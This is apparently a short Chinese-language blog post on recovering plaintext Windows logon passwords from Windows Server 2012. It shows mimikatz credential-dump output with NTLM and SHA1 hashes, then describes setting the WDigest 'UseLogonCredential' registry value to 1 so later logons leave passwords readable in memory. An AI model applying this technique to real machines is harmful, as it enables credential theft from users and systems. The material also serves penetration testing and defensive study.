windows 2012 抓純文字密碼方法

標籤：

mickey | 2015-05-11 11:52

預設配置是抓不到純文字密碼了，神器mimikatz顯示Password為null

Authentication Id : 0 ; 121279 (00000000:0001d9bf)Session           : Interactive from 1User Name         : mickeyDomain            : WIN-B054LAOH5FCLogon Server      : WIN-B054LAOH5FCLogon Time        : 2014/2/7 16:13:37SID               : S-1-5-21-3697557613-2315859964-140861748-1001        msv :         [00000003] Primary         * Username : mickey         * Domain   : WIN-B054LAOH5FC         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709         [00010000] CredentialKeys         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709        tspkg :        wdigest :         * Username : mickey         * Domain   : WIN-B054LAOH5FC         * Password : (null)        kerberos :         * Username : mickey         * Domain   : WIN-B054LAOH5FC         * Password : (null)        ssp :   KO        credman :

需要HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"設定為1，類型為DWORD 32才可以，然後下次使用者再登入，就能記錄到純文字密碼了。

Authentication Id : 0 ; 2506062 (00000000:00263d4e)Session           : Interactive from 2User Name         : mickeyDomain            : WIN-B054LAOH5FCLogon Server      : WIN-B054LAOH5FCLogon Time        : 2015/5/11 11:47:35SID               : S-1-5-21-3697557613-2315859964-140861748-1001        msv :         [00010000] CredentialKeys         * NTLM     : ad12521316a18d2172f20db07674c278         * SHA1     : 85b6b322a966fe19f758ee15fd7516c23c33cb7c         [00000003] Primary         * Username : mickey         * Domain   : WIN-B054LAOH5FC         * NTLM     : ad12521316a18d2172f20db07674c278         * SHA1     : 85b6b322a966fe19f758ee15fd7516c23c33cb7c        tspkg :        wdigest :         * Username : mickey         * Domain   : WIN-B054LAOH5FC         * Password : [email protected].org

參考連結：http://www.labofapenetrationtester.com/2015/05/dumping-passwords-in-plain-on-windows-8-1.html

windows 2012 抓純文字密碼方法